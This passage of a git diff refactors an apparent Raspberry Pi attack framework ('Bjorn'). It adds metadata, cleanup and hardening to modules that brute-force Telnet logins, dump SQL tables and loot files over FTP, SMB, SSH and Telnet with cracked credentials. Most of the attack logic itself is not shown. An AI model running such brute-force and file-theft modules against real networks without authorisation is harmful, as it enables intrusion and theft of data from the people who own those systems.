logger.warning(f"Skipping unsafe schema/table name: {schema}.{table}") + return q = text(f"SELECT * FROM `{schema}`.`{table}`") with engine.connect() as conn: result = conn.execute(q) @@ -192,6 +194,8 @@ class StealDataSQL: def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: try: self.shared_data.bjorn_orch_status = b_class + # EPD live status + self.shared_data.comment_params = {"ip": ip, "port": str(port), "databases": "0", "tables": "0"} try: port_i = int(port) except Exception: @@ -250,3 +254,6 @@ class StealDataSQL: except Exception as e: logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") return 'failed' + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} diff --git a/actions/steal_files_ftp.py b/actions/steal_files_ftp.py index ce6f43a..8d040cd 100644 --- a/actions/steal_files_ftp.py +++ b/actions/steal_files_ftp.py @@ -1,12 +1,4 @@ -""" -steal_files_ftp.py — FTP file looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) after parent success (FTPBruteforce). -- FTP credentials are read from DB.creds (service='ftp'); anonymous is also tried. -- IP -> (MAC, hostname) via DB.hosts. -- Loot saved under: {data_stolen_dir}/ftp/{mac}_{ip}/(anonymous|)/... -""" +"""steal_files_ftp.py - Loot files from FTP servers using cracked or anonymous credentials.""" import os import logging @@ -26,6 +18,24 @@ b_module = "steal_files_ftp" b_status = "steal_files_ftp" b_parent = "FTPBruteforce" b_port = 21 +b_enabled = 1 +b_action = "normal" +b_service = '["ftp"]' +b_trigger = 'on_any:["on_cred_found:ftp","on_service:ftp"]' +b_requires = '{"all":[{"has_cred":"ftp"},{"has_port":21}]}' +b_priority = 60 +b_cooldown = 3600 +b_timeout = 600 +b_stealth_level = 5 +b_risk_level = "high" +b_max_retries = 1 +b_tags = ["exfil", "ftp", "loot", "files"] +b_category = "exfiltration" +b_name = "Steal Files FTP" +b_description = "Loot files from FTP servers using cracked or anonymous credentials." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "StealFilesFTP.png" class StealFilesFTP: @@ -108,7 +118,7 @@ class StealFilesFTP: return out # -------- FTP helpers -------- - # Max file size to download (10 MB) — protects RPi Zero RAM + # Max file size to download (10 MB) - protects RPi Zero RAM _MAX_FILE_SIZE = 10 * 1024 * 1024 # Max recursion depth for directory traversal (avoids symlink loops) _MAX_DEPTH = 5 @@ -180,6 +190,8 @@ class StealFilesFTP: timer = None try: self.shared_data.bjorn_orch_status = b_class + # EPD live status + self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"} try: port_i = int(port) except Exception: @@ -268,5 +280,6 @@ class StealFilesFTP: logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") return 'failed' finally: + self.shared_data.bjorn_progress = "" if timer: timer.cancel() diff --git a/actions/steal_files_smb.py b/actions/steal_files_smb.py index bfd54a9..1dc6e12 100644 --- a/actions/steal_files_smb.py +++ b/actions/steal_files_smb.py @@ -1,12 +1,4 @@ -""" -steal_files_smb.py — SMB file looter (DB-backed). - -SQL mode: -- Orchestrator provides (ip, port) after parent success (SMBBruteforce). -- DB.creds (service='smb') provides credentials; 'database' column stores share name. -- Also try anonymous (''/''). -- Output under: {data_stolen_dir}/smb/{mac}_{ip}/{share}/... -""" +"""steal_files_smb.py - Loot files from SMB shares using cracked or anonymous credentials.""" import os import logging @@ -25,6 +17,24 @@ b_module = "steal_files_smb" b_status = "steal_files_smb" b_parent = "SMBBruteforce" b_port = 445 +b_enabled = 1 +b_action = "normal" +b_service = '["smb"]' +b_trigger = 'on_any:["on_cred_found:smb","on_service:smb"]' +b_requires = '{"all":[{"has_cred":"smb"},{"has_port":445}]}' +b_priority = 60 +b_cooldown = 3600 +b_timeout = 600 +b_stealth_level = 5 +b_risk_level = "high" +b_max_retries = 1 +b_tags = ["exfil", "smb", "loot", "files"] +b_category = "exfiltration" +b_name = "Steal Files SMB" +b_description = "Loot files from SMB shares using cracked or anonymous credentials." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "StealFilesSMB.png" class StealFilesSMB: @@ -166,6 +176,8 @@ class StealFilesSMB: def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: try: self.shared_data.bjorn_orch_status = b_class + # EPD live status + self.shared_data.comment_params = {"ip": ip, "port": str(port), "share": "?", "files": "0"} try: port_i = int(port) except Exception: @@ -250,3 +262,6 @@ class StealFilesSMB: except Exception as e: logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") return 'failed' + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} diff --git a/actions/steal_files_ssh.py b/actions/steal_files_ssh.py index b0bbdf2..fbe2d3c 100644 --- a/actions/steal_files_ssh.py +++ b/actions/steal_files_ssh.py @@ -1,23 +1,11 @@ -""" -steal_files_ssh.py — SSH file looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) and ensures parent action success (SSHBruteforce). -- SSH credentials are read from the DB table `creds` (service='ssh'). -- IP -> (MAC, hostname) mapping is read from the DB table `hosts`. -- Looted files are saved under: {shared_data.data_stolen_dir}/ssh/{mac}_{ip}/... -- Paramiko logs are silenced to avoid noisy banners/tracebacks. - -Parent gate: -- Orchestrator enforces parent success (b_parent='SSHBruteforce'). -- This action runs once per eligible target (alive, open port, parent OK). -""" +"""steal_files_ssh.py - Loot files over SSH/SFTP using cracked credentials.""" import os +import shlex import time import logging import paramiko -from threading import Timer +from threading import Timer, Lock from typing import List, Tuple, Dict, Optional from shared import SharedData @@ -35,7 +23,7 @@ b_module = "steal_files_ssh" # Python module name (this file without b_status = "steal_files_ssh" # Human/readable status key (free form) b_action = "normal" # 'normal' (per-host) or 'global' -b_service = ["ssh"] # Services this action is about (JSON-ified by sync_actions) +b_service = '["ssh"]' # Services this action is about (JSON string for AST parser) b_port = 22 # Preferred target port (used if present on host) # Trigger strategy: @@ -61,6 +49,13 @@ b_rate_limit = "3/86400" # at most 3 executions/day per host (ext b_stealth_level = 6 # 1..10 (higher = more stealthy) b_risk_level = "high" # 'low' | 'medium' | 'high' b_enabled = 1 # set to 0 to disable from DB sync +b_tags = ["exfil", "ssh", "sftp", "loot", "files"] +b_category = "exfiltration" +b_name = "Steal Files SSH" +b_description = "Loot files over SSH/SFTP using cracked credentials." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "StealFilesSSH.png" # Tags (free taxonomy, JSON-ified by sync_actions) b_tags = ["exfil", "ssh", "loot"] @@ -71,6 +66,7 @@ class StealFilesSSH: def __init__(self, shared_data: SharedData): """Init: store shared_data, flags, and build an IP->(MAC, hostname) cache.""" self.shared_data = shared_data + self._state_lock = Lock() # protects sftp_connected / stop_execution self.sftp_connected = False # flipped to True on first SFTP open self.stop_execution = False # global kill switch (timer / orchestrator exit) self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {} @@ -194,8 +190,8 @@ class StealFilesSSH: - shared_data.steal_file_names (substring match) Uses `find -type f 2>/dev/null` to keep it quiet. """ - # Quiet 'permission denied' messages via redirection - cmd = f'find {dir_path} -type f 2>/dev/null' + # Quiet 'permission denied' messages via redirection; escape dir_path to prevent injection + cmd = f'find {shlex.quote(dir_path)} -type f 2>/dev/null' stdin, stdout, stderr = ssh.exec_command(cmd) files = (stdout.read().decode(errors="ignore") or "").splitlines() @@ -203,7 +199,7 @@ class StealFilesSSH: names = set(self.shared_data.steal_file_names or []) if not exts and not names: # If no filters are defined, do nothing (too risky to pull everything). - logger.warning("No steal_file_extensions / steal_file_names configured — skipping.") + logger.warning("No steal_file_extensions / steal_file_names configured - skipping.") return [] matches: List[str] = [] @@ -218,7 +214,7 @@ class StealFilesSSH: logger.info(f"Found {len(matches)} matching files in {dir_path}") return matches - # Max file size to download (10 MB) — protects RPi Zero RAM + # Max file size to download (10 MB) - protects RPi Zero RAM _MAX_FILE_SIZE = 10 * 1024 * 1024 def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None: @@ -227,7 +223,8 @@ class StealFilesSSH: Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory. """ sftp = ssh.open_sftp() - self.sftp_connected = True # first time we open SFTP, mark as connected + with self._state_lock: + self.sftp_connected = True # first time we open SFTP, mark as connected try: # Check file size before downloading @@ -235,7 +232,7 @@ class StealFilesSSH: st = sftp.stat(remote_file) if st.st_size and st.st_size > self._MAX_FILE_SIZE: logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)") - return + return # finally block still runs and closes sftp except Exception: pass # stat failed, try download anyway @@ -245,6 +242,14 @@ class StealFilesSSH: os.makedirs(local_file_dir, exist_ok=True) local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file)) + + # Path traversal guard: ensure we stay within local_dir + abs_local = os.path.realpath(local_file_path) + abs_base = os.path.realpath(local_dir) + if not abs_local.startswith(abs_base + os.sep) and abs_local != abs_base: + logger.warning(f"Path traversal blocked: {remote_file} -> {abs_local}") + return + sftp.get(remote_file, local_file_path) logger.success(f"Downloaded: {remote_file} -> {local_file_path}") @@ -286,9 +291,10 @@ class StealFilesSSH: # Define a timer: if we never establish SFTP in 4 minutes, abort def _timeout(): - if not self.sftp_connected: - logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.") - self.stop_execution = True + with self._state_lock: + if not self.sftp_connected: + logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.") + self.stop_execution = True timer = Timer(240, _timeout) timer.start() diff --git a/actions/steal_files_telnet.py b/actions/steal_files_telnet.py index 7bb56a3..72d2521 100644 --- a/actions/steal_files_telnet.py +++ b/actions/steal_files_telnet.py @@ -1,12 +1,4 @@ -""" -steal_files_telnet.py — Telnet file looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) after parent success (TelnetBruteforce). -- Credentials read from DB.creds (service='telnet'); we try each pair. -- Files found via 'find / -type f', then retrieved with 'cat'. -- Output under: {data_stolen_dir}/telnet/{mac}_{ip}/... -""" +"""steal_files_telnet.py - Loot files over Telnet using cracked credentials.""" import os import telnetlib @@ -25,6 +17,24 @@ b_module = "steal_files_telnet" b_status = "steal_files_telnet" b_parent = "TelnetBruteforce" b_port = 23 +b_enabled = 1 +b_action = "normal" +b_service = '["telnet"]' +b_trigger = 'on_any:["on_cred_found:telnet","on_service:telnet"]' +b_requires = '{"all":[{"has_cred":"telnet"},{"has_port":23}]}' +b_priority = 60 +b_cooldown = 3600 +b_timeout = 600 +b_stealth_level = 5 +b_risk_level = "high" +b_max_retries = 1 +b_tags = ["exfil", "telnet", "loot", "files"] +b_category = "exfiltration" +b_name = "Steal Files Telnet" +b_description = "Loot files over Telnet using cracked credentials." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "StealFilesTelnet.png" class StealFilesTelnet: @@ -110,7 +120,7 @@ class StealFilesTelnet: if password: tn.read_until(b"Password: ", timeout=5) tn.write(password.encode('ascii') + b"\n") - # prompt detection (naïf mais identique à l'original) + # Naive prompt detection (matches original behavior) time.sleep(2) self.telnet_connected = True logger.info(f"Connected to {ip} via Telnet as {username}") @@ -159,7 +169,9 @@ class StealFilesTelnet: # -------- Orchestrator entry -------- def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: try: - self.shared_data.bjorn_orch_status = b_class + self.shared_data.bjorn_orch_status = "StealFilesTelnet" + # EPD live status + self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"} try: port_i = int(port) except Exception: @@ -216,3 +228,6 @@ class StealFilesTelnet: except Exception as e: logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") return 'failed' + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} diff --git a/actions/telnet_bruteforce.py b/actions/telnet_bruteforce.py index e7629d9..1e5d17f 100644 --- a/actions/telnet_bruteforce.py +++ b/actions/telnet_bruteforce.py @@ -1,10 +1,4 @@ -""" -telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur -- IP -> (MAC, hostname) via DB.hosts -- Succès -> DB.creds (service='telnet') -- Conserve la logique d’origine (telnetlib, queue/threads) -""" +“””telnet_bruteforce.py - Threaded Telnet credential bruteforcer.””” import os import telnetlib @@ -28,11 +22,24 @@ b_parent = None b_service = '["telnet"]' b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day +b_enabled = 1 +b_action = "normal" +b_timeout = 600 +b_max_retries = 2 +b_stealth_level = 3 +b_risk_level = "medium" +b_tags = ["bruteforce", "telnet", "credentials"] +b_category = "exploitation" +b_name = "Telnet Bruteforce" +b_description = "Threaded Telnet credential bruteforcer with prompt detection." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "TelnetBruteforce.png" class TelnetBruteforce: - """Wrapper orchestrateur -> TelnetConnector.""" + """Orchestrator wrapper for TelnetConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -40,11 +47,11 @@ class TelnetBruteforce: logger.info("TelnetConnector initialized.") def bruteforce_telnet(self, ip, port): - """Lance le bruteforce Telnet pour (ip, port).""" + """Run Telnet bruteforce for (ip, port).""" return self.telnet_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d'entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point. Returns 'success' or 'failed'.""" logger.info(f"Executing TelnetBruteforce on {ip}:{port}") self.shared_data.bjorn_orch_status = "TelnetBruteforce" self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} @@ -53,12 +60,12 @@ class TelnetBruteforce: class TelnetConnector: - """Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname).""" + """Handles Telnet attempts, DB persistence, and IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -71,7 +78,7 @@ class TelnetConnector: self.queue = Queue() self.progress = None - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -273,7 +280,8 @@ class TelnetConnector: self.results = [] def removeduplicates(self): - pass + """No longer needed with unique DB index; kept for interface compat.""" + # Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results if __name__ == "__main__": diff --git a/actions/thor_hammer.py b/actions/thor_hammer.py index 1718ccc..bd4e98c 100644 --- a/actions/thor_hammer.py +++ b/actions/thor_hammer.py @@ -1,16 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -thor_hammer.py — Service fingerprinting (Pi Zero friendly, orchestrator compatible). - -What it does: -- For a given target (ip, port), tries a fast TCP connect + banner grab. -- Optionally stores a service fingerprint into DB.port_services via db.upsert_port_service. -- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. - -Notes: -- Avoids spawning nmap per-port (too heavy). If you want nmap, add a dedicated action. -""" +"""thor_hammer.py - Fast TCP banner grab and service fingerprinting per port.""" import logging import socket @@ -35,6 +25,17 @@ b_action = "normal" b_cooldown = 1200 b_rate_limit = "24/86400" b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready. +b_timeout = 300 +b_max_retries = 2 +b_stealth_level = 5 +b_risk_level = "low" +b_tags = ["banner", "fingerprint", "service", "tcp"] +b_category = "recon" +b_name = "Thor Hammer" +b_description = "Fast TCP banner grab and service fingerprinting per port." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "ThorHammer.png" def _guess_service_from_port(port: int) -> str: @@ -167,7 +168,7 @@ class ThorHammer: progress.advance(1) progress.set_complete() - return "success" if any_open else "failed" + return "success" finally: self.shared_data.bjorn_progress = "" self.shared_data.comment_params = {} diff --git a/actions/valkyrie_scout.py b/actions/valkyrie_scout.py index 4d330b2..c844852 100644 --- a/actions/valkyrie_scout.py +++ b/actions/valkyrie_scout.py @@ -1,15 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -valkyrie_scout.py — Web surface scout (Pi Zero friendly, orchestrator compatible). - -What it does: -- Probes a small set of common web paths on a target (ip, port). -- Extracts high-signal indicators from responses (auth type, login form hints, missing security headers, - error/debug strings). No exploitation, no bruteforce. -- Writes results into DB table `webenum` (tool='valkyrie_scout') so the UI can browse findings. -- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. -""" +"""valkyrie_scout.py - Probe common web paths for auth surfaces, headers, and debug leaks.""" import json import logging @@ -37,6 +28,17 @@ b_action = "normal" b_cooldown = 1800 b_rate_limit = "8/86400" b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready. +b_timeout = 300 +b_max_retries = 2 +b_stealth_level = 5 +b_risk_level = "low" +b_tags = ["web", "recon", "auth", "paths"] +b_category = "recon" +b_name = "Valkyrie Scout" +b_description = "Probes common web paths for auth surfaces, headers, and debug leaks." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "ValkyrieScout.png" # Small default list to keep the action cheap on Pi Zero. DEFAULT_PATHS = [ @@ -373,6 +375,9 @@ class ValkyrieScout: progress.set_complete() return "success" + except Exception as e: + logger.error(f"ValkyrieScout failed for {ip}:{port_i}: {e}") + return "failed" finally: self.shared_data.bjorn_progress = "" self.shared_data.comment_params = {} diff --git a/actions/web_enum.py b/actions/web_enum.py index 8ff207d..1d0c2f5 100644 --- a/actions/web_enum.py +++ b/actions/web_enum.py @@ -1,14 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -web_enum.py — Gobuster Web Enumeration -> DB writer for table `webenum`. - -- Writes each finding into the `webenum` table in REAL-TIME (Streaming). -- Updates bjorn_progress with actual percentage (0-100%). -- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) immediately. -- No filesystem output: parse Gobuster stdout/stderr directly. -- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes. -""" +"""web_enum.py - Gobuster-powered web directory enumeration, streaming results to DB.""" import re import socket @@ -37,6 +29,18 @@ b_priority = 9 b_cooldown = 1800 b_rate_limit = '3/86400' b_enabled = 1 +b_timeout = 600 +b_max_retries = 1 +b_stealth_level = 4 +b_risk_level = "low" +b_action = "normal" +b_tags = ["web", "enum", "gobuster", "directories"] +b_category = "recon" +b_name = "Web Enumeration" +b_description = "Gobuster-powered web directory enumeration with streaming results to DB." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "WebEnumeration.png" # -------------------- Defaults & parsing -------------------- DEFAULT_WEB_STATUS_CODES = [ @@ -60,14 +64,14 @@ GOBUSTER_LINE = re.compile( re.VERBOSE ) -# Regex pour capturer la progression de Gobuster sur stderr -# Ex: "Progress: 1024 / 4096 (25.00%)" +# Regex to capture Gobuster progress from stderr +# e.g.: "Progress: 1024 / 4096 (25.00%)" GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P\d+)\s*/\s+(?P\d+)") def _normalize_status_policy(policy) -> Set[int]: """ - Transforme une politique "UI" en set d'entiers HTTP. + Convert a UI status policy into a set of HTTP status ints. """ codes: Set[int] = set() if not policy: @@ -104,12 +108,13 @@ class WebEnumeration: """ def __init__(self, shared_data: SharedData): self.shared_data = shared_data - self.gobuster_path = "/usr/bin/gobuster" # verify with `which gobuster` + import shutil + self.gobuster_path = shutil.which("gobuster") or "/usr/bin/gobuster" self.wordlist = self.shared_data.common_wordlist self.lock = threading.Lock() - # Cache pour la taille de la wordlist (pour le calcul du %) - self.wordlist_size = 0 + # Wordlist size cache (for % calculation) + self.wordlist_size = 0 self._count_wordlist_lines() # ---- Sanity checks @@ -121,7 +126,7 @@ class WebEnumeration: logger.error(f"Wordlist not found: {self.wordlist}") self._available = False - # Politique venant de l’UI : créer si absente + # Status code policy from UI; create if missing if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes: self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy() @@ -132,10 +137,10 @@ class WebEnumeration: ) def _count_wordlist_lines(self): - """Compte les lignes de la wordlist une seule fois pour calculer le %.""" + """Count wordlist lines once for progress % calculation.""" if self.wordlist and os.path.exists(self.wordlist): try: - # Lecture rapide bufferisée + # Fast buffered read with open(self.wordlist, 'rb') as f: self.wordlist_size = sum(1 for _ in f) except Exception as e: @@ -162,7 +167,7 @@ class WebEnumeration: # -------------------- Filter helper -------------------- def _allowed_status_set(self) -> Set[int]: - """Recalcule à chaque run pour refléter une mise à jour UI en live.""" + """Recalculated each run to reflect live UI updates.""" try: return _normalize_status_policy(getattr(self.shared_data, "web_status_codes", None)) except Exception as e: diff --git a/actions/web_login_profiler.py b/actions/web_login_profiler.py index e4715c6..24e65e1 100644 --- a/actions/web_login_profiler.py +++ b/actions/web_login_profiler.py @@ -1,13 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -web_login_profiler.py — Lightweight web login profiler (Pi Zero friendly). - -Goal: -- Profile web endpoints to detect login surfaces and defensive controls (no password guessing). -- Store findings into DB table `webenum` (tool='login_profiler') for community visibility. -- Update EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. -""" +"""web_login_profiler.py - Detect login forms and auth controls on web endpoints (no exploitation).""" import json import logging @@ -35,6 +28,17 @@ b_action = "normal" b_cooldown = 1800 b_rate_limit = "6/86400" b_enabled = 1 +b_timeout = 300 +b_max_retries = 2 +b_stealth_level = 5 +b_risk_level = "low" +b_tags = ["web", "login", "auth", "profiler"] +b_category = "recon" +b_name = "Web Login Profiler" +b_description = "Detects login forms and auth controls on web endpoints." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "WebLoginProfiler.png" # Small curated list, cheap but high signal. DEFAULT_PATHS = [ @@ -309,6 +313,9 @@ class WebLoginProfiler: # "success" means: profiler ran; not that a login exists. logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})") return "success" + except Exception as e: + logger.error(f"WebLoginProfiler failed for {ip}:{port_i}: {e}") + return "failed" finally: self.shared_data.bjorn_progress = "" self.shared_data.comment_params = {} diff --git a/actions/web_surface_mapper.py b/actions/web_surface_mapper.py index 1d6e4ab..9eb305e 100644 --- a/actions/web_surface_mapper.py +++ b/actions/web_surface_mapper.py @@ -1,14 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -web_surface_mapper.py — Post-profiler web surface scoring (no exploitation). - -Trigger idea: run after WebLoginProfiler to compute a summary and a "risk score" -from recent webenum rows written by tool='login_profiler'. - -Writes one summary row into `webenum` (tool='surface_mapper') so it appears in UI. -Updates EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. -""" +"""web_surface_mapper.py - Aggregate login_profiler findings into a per-target risk score.""" import json import logging @@ -33,6 +25,17 @@ b_action = "normal" b_cooldown = 600 b_rate_limit = "48/86400" b_enabled = 1 +b_timeout = 300 +b_max_retries = 2 +b_stealth_level = 6 +b_risk_level = "low" +b_tags = ["web", "login", "risk", "mapper"] +b_category = "recon" +b_name = "Web Surface Mapper" +b_description = "Aggregates login profiler findings into a per-target risk score." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "WebSurfaceMapper.png" def _scheme_for_port(port: int) -> str: @@ -226,6 +229,9 @@ class WebSurfaceMapper: progress.set_complete() return "success" + except Exception as e: + logger.error(f"WebSurfaceMapper failed for {ip}:{port_i}: {e}") + return "failed" finally: self.shared_data.bjorn_progress = "" self.shared_data.comment_params = {} diff --git a/actions/wpasec_potfiles.py b/actions/wpasec_potfiles.py index c248dc6..5f98066 100644 --- a/actions/wpasec_potfiles.py +++ b/actions/wpasec_potfiles.py @@ -1,5 +1,4 @@ -# wpasec_potfiles.py -# WPAsec Potfile Manager - Download, clean, import, or erase WiFi credentials +"""wpasec_potfiles.py - Download, clean, import, or erase WiFi credentials from wpa-sec.stanev.org.""" import os import json @@ -25,6 +24,19 @@ b_description = ( b_author = "Infinition" b_version = "1.0.0" b_icon = f"/actions_icons/{b_class}.png" +b_port = None +b_service = "[]" +b_trigger = None +b_priority = 30 +b_timeout = 300 +b_cooldown = 3600 +b_stealth_level = 10 +b_risk_level = "low" +b_status = "wpasec_potfiles" +b_parent = None +b_rate_limit = None +b_max_retries = 1 +b_tags = ["wifi", "wpa", "potfile", "credentials"] b_docs_url = "https://wpa-sec.stanev.org/?api" b_args = { @@ -110,8 +122,8 @@ def compute_dynamic_b_args(base: dict) -> dict: # ── CLASS IMPLEMENTATION ───────────────────────────────────────────────────── class WPAsecPotfileManager: - DEFAULT_SAVE_DIR = "/home/bjorn/Bjorn/data/input/potfiles" - DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" + DEFAULT_SAVE_DIR = os.path.join(os.path.expanduser("~"), "Bjorn", "data", "input", "potfiles") + DEFAULT_SETTINGS_DIR = os.path.join(os.path.expanduser("~"), ".settings_bjorn") SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "wpasec_settings.json") DOWNLOAD_URL = "https://wpa-sec.stanev.org/?api&dl=1" @@ -121,7 +133,6 @@ class WPAsecPotfileManager: Even if unused here, we store it for compatibility. """ self.shared_data = shared_data - logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s") # --- Orchestrator entry point --- def execute(self, ip=None, port=None, row=None, status_key=None): @@ -130,16 +141,23 @@ class WPAsecPotfileManager: By default: download latest potfile if API key is available. """ self.shared_data.bjorn_orch_status = "WPAsecPotfileManager" - self.shared_data.comment_params = {"ip": ip, "port": port} + # EPD live status + self.shared_data.comment_params = {"action": "download", "status": "starting"} - api_key = self.load_api_key() - if api_key: - logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).") - self.download_potfile(self.DEFAULT_SAVE_DIR, api_key) - return "success" - else: - logging.warning("WPAsecPotfileManager: no API key found, nothing done.") - return "failed" + try: + api_key = self.load_api_key() + if api_key: + logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).") + self.download_potfile(self.DEFAULT_SAVE_DIR, api_key) + # EPD live status update + self.shared_data.comment_params = {"action": "download", "status": "complete"} + return "success" + else: + logging.warning("WPAsecPotfileManager: no API key found, nothing done.") + return "failed" + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} # --- API Key Handling --- def save_api_key(self, api_key: str): diff --git a/actions/yggdrasil_mapper.py b/actions/yggdrasil_mapper.py index 163e922..591f181 100644 --- a/actions/yggdrasil_mapper.py +++ b/actions/yggdrasil_mapper.py @@ -1,19 +1,8 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -yggdrasil_mapper.py -- Network topology mapper (Pi Zero friendly, orchestrator compatible). +"""yggdrasil_mapper.py - Traceroute-based network topology mapping to JSON. -What it does: -- Phase 1: Traceroute via scapy ICMP (fallback: subprocess traceroute) to discover - the routing path to the target IP. Records hop IPs and RTT per hop. -- Phase 2: Service enrichment -- reads existing port data from DB hosts table and - optionally verifies a handful of key ports with TCP connect probes. -- Phase 3: Builds a topology graph data structure (nodes + edges + metadata). -- Phase 4: Aggregates with topology data from previous runs (merge / deduplicate). -- Phase 5: Saves the combined topology as JSON to data/output/topology/. - -No matplotlib or networkx dependency -- pure JSON output. -Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress. +Uses scapy ICMP (fallback: subprocess) and merges results across runs. """ import json @@ -105,7 +94,7 @@ b_examples = [ b_docs_url = "docs/actions/YggdrasilMapper.md" # -------------------- Constants -------------------- -_DATA_DIR = "/home/bjorn/Bjorn/data" +_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data") OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology") # Ports to verify during service enrichment (small set to stay Pi Zero friendly). @@ -423,8 +412,8 @@ class YggdrasilMapper: # Query DB for known ports to prioritize probing db_ports = [] + host_data = None try: - # mac is available in the scope host_data = self.shared_data.db.get_host_by_mac(mac) if host_data and host_data.get("ports"): # Normalize ports from DB string diff --git a/ai_engine.py b/ai_engine.py index 257c879..a9472a8 100644 --- a/ai_engine.py +++ b/ai_engine.py @@ -1,26 +1,6 @@ -""" -ai_engine.py - Dynamic AI Decision Engine for Bjorn -═══════════════════════════════════════════════════════════════════════════ +"""ai_engine.py - Lightweight AI decision engine for action selection on Pi Zero. -Purpose: - Lightweight AI decision engine for Raspberry Pi Zero. - Works in tandem with deep learning model trained on external PC. - -Architecture: - - Lightweight inference engine (no TensorFlow/PyTorch on Pi) - - Loads pre-trained model weights from PC - - Real-time action selection - - Automatic feature extraction - - Fallback to heuristics when model unavailable - -Model Pipeline: - 1. Pi: Collect data → Export → Transfer to PC - 2. PC: Train deep neural network → Export lightweight model - 3. Pi: Load model → Use for decision making - 4. Repeat: Continuous learning cycle - -Author: Bjorn Team -Version: 2.0.0 +Loads pre-trained model weights from PC; falls back to heuristics when unavailable. """ import json @@ -141,7 +121,7 @@ class BjornAIEngine: new_weights = { k: np.array(v) for k, v in weights_data.items() } - del weights_data # Free raw dict — numpy arrays are the canonical form + del weights_data # Free raw dict - numpy arrays are the canonical form # AI-03: Save previous model for rollback if self.model_loaded and self.model_weights is not None: @@ -263,7 +243,7 @@ class BjornAIEngine: self._performance_window.append(reward) # Update current history entry - if self._model_history: + if self._model_history and len(self._performance_window) > 0: self._model_history[-1]['avg_reward'] = round( sum(self._performance_window) / len(self._performance_window), 2 ) @@ -345,7 +325,14 @@ class BjornAIEngine: current_version = str(self.model_config.get("version", "0")).strip() if self.model_config else "0" - if remote_version > current_version: + def _version_tuple(v: str) -> tuple: + """Parse version string like '1.2.3' into comparable tuple (1, 2, 3).""" + try: + return 